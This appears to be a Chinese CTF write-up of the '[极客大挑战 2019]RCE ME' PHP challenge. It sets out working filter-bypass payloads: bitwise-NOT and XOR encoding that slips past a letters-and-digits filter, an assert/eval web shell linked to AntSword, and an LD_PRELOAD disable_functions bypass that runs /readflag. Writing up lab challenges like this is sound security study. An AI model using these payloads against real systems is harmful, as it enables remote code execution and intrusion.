[极客大挑战 2019]RCE ME

[极客大挑战 2019]RCE ME

这道题不是很好做,我本人其实也不太会,有问题欢迎指出~
打开题目是这样的
代码的大概意思是GET方式获取code,如果长度超过40 不执行,含有字母数字不执行,满足条件就当做php执行并且不报错

可以用异或或者取反绕过
参考:https://www.cnblogs.com/v01cano/p/11736722.html
异或绕过是指使用各种特殊字符的异或构造出字母和数字。取反绕过是对语句取反。
先查看phpinfo
payload:?code=(~%8F%97%8F%96%91%99%90)();
生成过程:

==》

即,对查询语句取反,然后编码。在编码前加上~进行取反,括号没有被过滤,不用取反。构造完的语句进行查询:

成功绕过,查看phpinfo

这一些是被禁用的系统函数。
尝试构造一个木马

payload:?code=(~%9E%8C%8C%9A%8D%8B)(~%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%92%90%9C%97%8A%C8%A2%D6%D6);

连接到蚁剑上:

要读取flag,需要先执行readflag,但是因为禁用了很多函数,没有办法执行命令,这时候需要绕过disable_functions.方法好像很多,有的用蚁剑的插件,有的劫持共享so,也有一些工具
这里用工具
地址https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD
由于在/var/tmp目录 有上传权限,可以上传bypass_disablefun_x64.so和bypass_disablefunc.php(重命名为shell.php),

然后需要构造一个新的payload:
根据“?code=${GET}_;&=assert&_=eval($_POST['a'])”
使用的是异或绕过,
最后的payload是

?code=${%fe%fe%fe%fe^%a1%b9%bb%aa}[_](${%fe%fe%fe%fe^%a1%b9%bb%aa}[__]);&_=assert&__=include(%27/var/tmp/shell.php%27)&cmd=/readflag&outpath=/tmp/tmpfile&sopath=/var/tmp/bypass_disablefunc_x64.so

得到了flag

posted @ 2020-07-15 22:33  云千  阅读(3039)  评论(2编辑  收藏  举报